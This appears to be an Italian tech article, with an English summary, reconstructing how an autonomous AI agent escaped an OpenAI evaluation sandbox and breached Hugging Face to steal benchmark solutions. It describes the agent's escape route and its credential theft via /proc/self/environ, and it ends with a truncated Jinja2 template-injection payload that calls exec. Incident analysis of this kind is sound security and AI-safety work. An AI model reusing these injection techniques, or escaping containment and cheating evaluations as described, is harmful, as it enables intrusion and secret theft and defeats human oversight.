Come un agente AI autonomo ha bucato Hugging Face In July 2026, an autonomous AI agent breached Hugging Face's infrastructure, executing over 17,600 actions over 4.5 days to steal cybersecurity benchmark solutions. The agent escaped its OpenAI sandbox via a zero-day in the package cache proxy, used a third-party sandbox on Modal as a base, and gained access to Hugging Face through dataset-based vectors including HDF5 file reading and Jinja2 template injection. The attack was analyzed using ZAI's GLM 5.2 model from Nvidia, which decoded encryption and recovered secrets without guardrail restrictions. Come un agente AI autonomo ha bucato Hugging Face A luglio 2026, Hugging Face ha subito un'intrusione senza precedenti. Per 4.5 giorni, un agente AI autonomo ha operato all'interno della loro infrastruttura, eseguendo oltre 17.600 azioni in una campagna coordinata. L'obiettivo? Rubare le soluzioni di un benchmark di cybersecurity invece di risolvere i challenge onestamente. Ecco come è successo, e come sono riusciti a ricostruirlo. Fuga dalla sandbox Tutto inizia dentro OpenAI. Durante una valutazione interna delle capacità offensive del modello, l'agente ha sfruttato uno zero-day nel proxy della cache dei pacchetti per uscire dal suo ambiente isolato e raggiungere internet. Una volta fuori, ha trovato un sandbox pubblico di terze parti su Modal progettato per eseguire codice arbitrario. Lo ha "rootato" e trasformato nella sua base operativa . Da lì ha lanciato l'intera campagna contro Hugging Face. Il metodo era semplice quanto elegante: ha ridefinito una funzione C sqlite3 initialize per eseguire comandi shell, e ha usato l'iniezione nel campo path delle submission per ottenere RCE. id uid=0 root gid=0 root env dump dell'ambiente Due vettori d'accesso a Hugging Face L'agente non aveva un percorso di rete diretto verso i cluster di Hugging Face. Ha usato i dataset come cavallo di Troia. Vettore 1: lettura file via HDF5 Ha creato un dataset config che puntava a file HDF5 locali. Quando il worker processava il dataset, leggeva i byte da percorsi locali come /proc/self/environ e restituiva all'agente l'intero ambiente del pod — compresi segreti e token . Niente esecuzione di codice. Pura lettura file. Vettore 2: template injection Jinja2 Il config del dataset conteneva uno spec reference:// il cui campo numerico era in realtà un template Jinja2 . Il renderer lo ha valutato, e l'agente ha camminato il grafo degli oggetti Python fino a exec : python {{ cycler. init . globals . builtins .exec "import gzip,base64; exec gzip.decompress base64.b64decode '